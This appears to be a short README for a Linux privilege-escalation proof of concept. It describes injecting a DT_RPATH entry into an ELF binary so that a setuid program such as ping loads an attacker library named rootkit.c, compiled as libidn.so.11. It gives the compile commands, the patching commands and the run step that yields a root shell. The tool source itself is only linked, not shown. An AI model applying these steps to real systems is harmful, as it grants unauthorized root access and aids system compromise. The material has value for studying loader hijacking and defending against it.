[ELF] Privilege escalation through DT_RPATH

https://drive.google.com/file/d/0B1UY25xXM3UkbWtiM0FSdkRwQnM/view?usp=sharing
* Overview
        This code is to demo how to insert our libary path into ELF's DT_PATH, then we can call our libary when the binary is executed.
* Compile
        1) hack_RPATH64.c
        Use this tool to add RPATH in elf binary.
        make hack_RPATH64
        2) rootkit.c
        This libary can be put in current directly, referred by DT_NEEDED and forged "RPATH".
        gcc -shared rootkit.c -o libidn.so.11 -fPIC
* Usage:
        1) get root bash
        - Copy binary with setuid bit to /home/passion/DT_RPATH, for example: ping
        - Add RPATH entry into ./ping
                cd /home/passion;
                ./hack_RPATH64 ./ping
                readelf -d ./ping
        - Check ./ping is owned by root, and with "setuid" bit
        2) login through "passion"
        - ./ping # get root shell.